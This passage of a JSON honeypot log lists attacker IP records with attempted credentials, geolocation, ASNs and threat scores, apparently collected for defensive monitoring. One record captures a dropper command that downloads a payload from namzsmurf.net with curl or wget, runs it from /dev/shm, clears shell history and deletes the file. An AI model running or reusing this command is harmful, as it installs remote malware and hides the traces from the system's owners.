        "Cowrie": 25
      }
    },
    "111.26.6.111": {
      "attack_count": 21,
      "first_seen": "2026-03-22T21:33:51.093Z",
      "last_seen": "2026-03-22T21:36:10.584Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "h3c.com!",
        "root123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 134810,
      "as_org": "China Mobile Group JiLin communications corporation",
      "threat_score": 19.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T21:33:51.093000+00:00",
        "last_seen_30d": "2026-03-22T21:50:38.234000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 21,
        "Suricata": 11
      }
    },
    "165.232.112.134": {
      "attack_count": 21,
      "first_seen": "2026-03-04T23:33:56.175Z",
      "last_seen": "2026-03-05T06:32:46.705Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "solana"
      ],
      "passwords_attempted": [
        "solana"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T23:31:26.567000+00:00",
        "last_seen_30d": "2026-03-05T06:33:52.065000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 21,
        "Suricata": 18
      }
    },
    "39.174.42.18": {
      "attack_count": 20,
      "first_seen": "2026-03-11T01:04:48.674Z",
      "last_seen": "2026-03-14T16:05:07.203Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "claude",
        "no",
        "sugihara",
        "trooper"
      ],
      "passwords_attempted": [
        "no",
        "password",
        "sugihara",
        "trooper123!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 56041,
      "as_org": "China Mobile communications corporation",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.9,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T01:04:48.674000+00:00",
        "last_seen_30d": "2026-03-14T16:06:12.180000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 11
      }
    },
    "38.188.160.136": {
      "attack_count": 18,
      "first_seen": "2026-03-10T23:10:53.592Z",
      "last_seen": "2026-03-10T23:59:54.447Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "130887",
        "200783",
        "babas"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 9.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:10:53.592000+00:00",
        "last_seen_30d": "2026-03-11T00:00:59.250000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 9
      }
    },
    "47.250.80.158": {
      "attack_count": 18,
      "first_seen": "2026-03-03T07:42:59.141Z",
      "last_seen": "2026-03-15T15:12:50.520Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Kuala Lumpur",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 44.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.0,
        "persistence": 19.2,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 23,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T07:42:59.141000+00:00",
        "last_seen_30d": "2026-03-25T15:33:34.057000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Cowrie": 18,
        "Dionaea": 1
      }
    },
    "172.86.113.129": {
      "attack_count": 17,
      "first_seen": "2026-03-08T17:02:40.275Z",
      "last_seen": "2026-03-08T17:02:51.830Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "1234",
        "admin",
        "root"
      ],
      "commands_executed": [
        "curl -s http://namzsmurf.net:9000/payload -o /dev/shm/.s || wget -qO /dev/shm/.s http://namzsmurf.net:9000/payload",
        "export HISTFILE=/dev/null; (curl -s http://namzsmurf.net:9000/payload -o /dev/shm/.s || wget -qO /dev/shm/.s http://namzsmurf.net:9000/payload) && chmod +x /dev/shm/.s && nohup /dev/shm/.s >/dev/null 2>&1 & sleep 3; rm -f /dev/shm/.s"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 14956,
      "as_org": "RouterHosting LLC",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.6,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 92,
        "days_active_30d": 1,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-08T17:02:40+00:00",
        "last_seen_30d": "2026-03-08T17:12:54.315000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Suricata": 38,
        "Redishoneypot": 22,
        "Cowrie": 17,
        "Honeytrap": 12,
        "Dionaea": 2,
        "ElasticPot": 1
      }
    },
    "180.93.137.63": {
      "attack_count": 15,
      "first_seen": "2026-03-02T00:01:23.886Z",
      "last_seen": "2026-03-02T00:06:49.511Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Jd@123456",
        "Qwertyu1",
        "montecarlo"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135951,
      "as_org": "Webico Company Limited",
      "threat_score": 2.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T00:01:23.886000+00:00",
        "last_seen_30d": "2026-03-02T00:07:54.783000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 8
      }
    },
    "162.142.125.212": {
      "attack_count": 12,
      "first_seen": "2026-03-04T13:37:58.069Z",
      "last_seen": "2026-03-08T07:39:22.665Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 63.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 23.4,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 217,
        "days_active_30d": 22,
        "ports_targeted_30d": 39,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T11:06:41+00:00",
        "last_seen_30d": "2026-03-23T18:46:56.047000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 142,
        "Honeytrap": 39,
        "ElasticPot": 19,
        "Cowrie": 12,
        "CitrixHoneypot": 4,
        "Dicompot": 1
      }
    },
    "167.71.197.198": {
      "attack_count": 12,
      "first_seen": "2026-03-02T08:31:58.557Z",
      "last_seen": "2026-03-02T08:35:08.902Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T08:31:58.557000+00:00",
        "last_seen_30d": "2026-03-02T08:36:09.814000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 8
      }
    },
    "116.105.173.160": {
      "attack_count": 10,
      "first_seen": "2026-03-18T21:22:27.014Z",
      "last_seen": "2026-03-18T21:22:29.366Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "pi"
      ],
      "passwords_attempted": [
        "raspberry",
        "raspberryraspberry993311"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T21:22:27.014000+00:00",
        "last_seen_30d": "2026-03-18T21:23:32.207000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "162.240.234.170": {
      "attack_count": 10,
      "first_seen": "2026-03-03T20:45:05.266Z",
      "last_seen": "2026-03-04T06:27:31.637Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "kelltech"
      ],
      "passwords_attempted": [
        "123",
        "1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 46606,
      "as_org": "Unified Layer",
      "threat_score": 2.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T20:45:05.266000+00:00",
        "last_seen_30d": "2026-03-04T06:28:39.055000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "35.241.183.196": {
      "attack_count": 10,
      "first_seen": "2026-03-19T09:15:09.589Z",
      "last_seen": "2026-03-19T09:15:18.340Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 14.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T09:15:09.589000+00:00",
        "last_seen_30d": "2026-03-19T09:16:24.112000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "125.168.239.69": {
      "attack_count": 8,
      "first_seen": "2026-03-29T10:48:14.374Z",
      "last_seen": "2026-03-29T10:49:06.291Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Melbourne",
      "asn": 9443,
      "as_org": "Vocus Retail",
      "threat_score": 22.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T10:48:14.374000+00:00",
        "last_seen_30d": "2026-03-29T10:50:15.429000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "123.117.154.188": {
      "attack_count": 6,
      "first_seen": "2026-03-11T04:35:52.641Z",
      "last_seen": "2026-03-11T04:37:53.350Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 4808,
      "as_org": "China Unicom Beijing Province Network",
      "threat_score": 7.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T04:35:52.641000+00:00",
        "last_seen_30d": "2026-03-11T04:47:54.334000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 5
      }
    },
    "172.236.228.208": {
      "attack_count": 6,
      "first_seen": "2026-03-16T12:47:50.840Z",
      "last_seen": "2026-03-16T12:47:51.112Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 90.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 100,
        "days_active_30d": 30,
        "ports_targeted_30d": 18,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T16:43:19+00:00",
        "last_seen_30d": "2026-03-31T18:24:00.256000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 63,
        "Honeytrap": 28,
        "Cowrie": 6,
        "Dionaea": 2,
        "Tanner": 1
      }
    },
    "198.235.24.232": {
      "attack_count": 6,
      "first_seen": "2026-03-09T22:11:31.700Z",
      "last_seen": "2026-03-21T06:24:12.500Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 89.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.4,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 137,
        "days_active_30d": 28,
        "ports_targeted_30d": 39,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-04T01:39:58+00:00",
        "last_seen_30d": "2026-03-31T03:13:17.704000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 94,
        "Honeytrap": 33,
        "Cowrie": 6,
        "Dionaea": 3,
        "Sentrypeer": 1
      }
    },
    "45.91.64.6": {
      "attack_count": 6,
      "first_seen": "2026-03-08T05:42:48.605Z",
      "last_seen": "2026-03-26T02:42:10.682Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 214664,
      "as_org": "JSC Buduschee",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1049,
        "days_active_30d": 30,
        "ports_targeted_30d": 106,
        "honeypots_triggered_30d": 11,
        "first_seen_30d": "2026-03-02T04:02:42.794000+00:00",
        "last_seen_30d": "2026-03-31T22:00:11.754000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 749,
        "Honeytrap": 193,
        "Redishoneypot": 45,
        "Dionaea": 22,
        "ElasticPot": 17,
        "Honeyaml": 7,
        "Cowrie": 6,
        "Tanner": 4,
        "ConPot": 2,
        "H0neytr4p": 2,
        "Mailoney": 2
      }
    },
    "101.205.139.73": {
      "attack_count": 5,
      "first_seen": "2026-03-20T14:22:20.885Z",
      "last_seen": "2026-03-20T14:22:28.252Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "orangepi"
      ],
      "passwords_attempted": [
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T14:22:20.885000+00:00",
        "last_seen_30d": "2026-03-20T14:23:30.602000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "45.84.107.182": {
      "attack_count": 5,
      "first_seen": "2026-03-12T03:43:04.141Z",
      "last_seen": "2026-03-12T03:43:09.044Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "system"
      ],
      "passwords_attempted": [
        "Sam4z1ngw0nd3r5Z"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 214503,
      "as_org": "QuxLabs AB",
      "threat_score": 74.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.2,
        "persistence": 22.5,
        "diversity": 14,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 133,
        "days_active_30d": 27,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T16:28:27.864000+00:00",
        "last_seen_30d": "2026-03-28T20:19:09.785000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 84,
        "H0neytr4p": 18,
        "Honeytrap": 17,
        "Ciscoasa": 8,
        "Cowrie": 5,
        "Tanner": 1
      }
    },
    "49.207.247.249": {
      "attack_count": 5,
      "first_seen": "2026-03-22T21:04:57.783Z",
      "last_seen": "2026-03-22T21:05:00.275Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "appuser"
      ],
      "passwords_attempted": [
        "appuser"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 24309,
      "as_org": "Atria Convergence Technologies Pvt. Ltd. Broadband Internet Service Provider INDIA",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T21:04:57.783000+00:00",
        "last_seen_30d": "2026-03-22T21:06:06.675000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "77.90.185.61": {
      "attack_count": 5,
      "first_seen": "2026-03-05T19:30:35.801Z",
      "last_seen": "2026-03-05T19:30:39.552Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "!1234Kelltech"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 6.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 3.3,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 4,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T11:51:04.125000+00:00",
        "last_seen_30d": "2026-03-06T02:04:19.162000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 5,
        "Heralding": 1
      }
    },
    "14.102.189.45": {
      "attack_count": 4,
      "first_seen": "2026-03-02T03:21:39.190Z",
      "last_seen": "2026-03-02T03:22:08.252Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 137120,
      "as_org": "Nas Internet Services Private Limited",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T03:21:39.190000+00:00",
        "last_seen_30d": "2026-03-02T03:23:10.588000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "147.185.132.48": {
      "attack_count": 4,
      "first_seen": "2026-03-28T05:05:26.118Z",
      "last_seen": "2026-03-28T05:05:29.194Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 84.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 29,
        "ports_targeted_30d": 25,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-03T01:37:53+00:00",
        "last_seen_30d": "2026-03-31T08:08:16.138000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 65,
        "Honeytrap": 31,
        "Cowrie": 4,
        "Honeyaml": 1
      }
    },
    "167.94.138.203": {
      "attack_count": 4,
      "first_seen": "2026-03-08T19:36:31.066Z",
      "last_seen": "2026-03-08T19:36:46.102Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 54.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.6,
        "persistence": 16.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 114,
        "days_active_30d": 20,
        "ports_targeted_30d": 33,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-03T08:20:38+00:00",
        "last_seen_30d": "2026-03-22T16:19:20.232000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 60,
        "Honeytrap": 46,
        "Cowrie": 4,
        "ElasticPot": 4
      }
    },
    "178.128.98.211": {
      "attack_count": 4,
      "first_seen": "2026-03-18T03:02:30.416Z",
      "last_seen": "2026-03-18T03:02:35.883Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 0.8,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 1,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-18T03:00:27+00:00",
        "last_seen_30d": "2026-03-18T03:06:18.673000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Cowrie": 4,
        "Honeytrap": 4
      }
    },
    "195.184.76.201": {
      "attack_count": 4,
      "first_seen": "2026-03-31T20:05:13.612Z",
      "last_seen": "2026-03-31T20:05:14.643Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
